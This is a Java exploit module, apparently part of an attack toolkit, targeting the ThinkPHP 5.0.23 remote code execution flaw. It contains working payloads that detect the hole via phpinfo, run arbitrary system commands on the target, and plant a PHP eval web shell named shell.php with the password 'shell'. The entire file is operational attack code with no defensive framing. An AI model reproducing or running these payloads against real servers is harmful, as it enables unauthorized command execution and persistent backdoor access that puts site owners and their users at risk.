content: package com.agony.demo.exploit;
  
  import java.util.ArrayList;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  /**
   * @author itchen
   * @date 2024/9/21 17:14
   * @description
   */
  public class tp5023 implements BasePayload {
  
  
      @Override
      public Result checkVUL(String url) {
          String CheckStr = "PHP Version";
  
          String payload_url = url + "/?s=captcha&test=-1";
          ArrayList<String> payloads = new ArrayList<String>() {{
              add("_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1");
              add("_method=__ConStruct&method=get&filter[]=call_user_func&get[0]=phpinfo");
              add("_method=__construct&filter[]=phpinfo&method=GET&get[]=1");
          }};
          for (String payload : payloads) {
              try {
                  HttpRequest req = HttpRequest.post(payload_url).send(payload);
  
                  if (req.body().contains(CheckStr)) {
                      return new Result(true, "ThinkPHP 5.0.23 RCE", payload_url + " Post: " + payload);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
  
          return new Result(false, "ThinkPHP 5.0.23 RCE", "");
      }
  
      @Override
      public Result exeVUL(String url, String cmd)  {
          String payload_url = url + "/?s=captcha&test=-1";
          ArrayList<String> payloads = new ArrayList<String>() {{
              add("_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=" + cmd);
              add("s=" + cmd + "&_method=__construct&method=get&filter[]=system");
              add("s=" + cmd + "&_method=__construct&method&filter[]=system");
          }};
          for (String payload : payloads) {
              try {
                  String response = HttpRequest.post(payload_url).send(payload).body();
                  String res = response.substring(0, response.indexOf("<"));
                  if (res.equals("")) {
                      return new Result(true, "", response);
                  }
                  return new Result(true, "", res);
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          String payload_url = url + "/?s=captcha&test=-1";
          ArrayList<String> payloads = new ArrayList<String>() {{
              add("_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST['shell'])?>' >>shell.php");
              add("_method=__construct&filter[]=system&method=GET&get[]=echo '<?php @eval($_POST['shell'])?>' >>shell.php");
              add("_method=__construct&filter[]=assert&method=GET&get[]=file_put_contents('./shell.php','<?php%20@eval($_POST[%27shell%27])?>');");
              add("_method=__construct&filter[]=assert&method=GET&get[]=copy('<?php%20@eval($_POST[%27shell%27])?>', './shell.php');");
          }};
  
          for (int i = 0; i < payloads.size(); i++) {
              try {
                  String res = HttpRequest.post(payload_url).send(payloads.get(i)).body();
                  int code = HttpRequest.get(url + "/shell.php").code();
                  if (code == 200) {
                      return new Result(true, null, url + "/shell.php   Pass:shell");
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, null, null);
      }
  }
  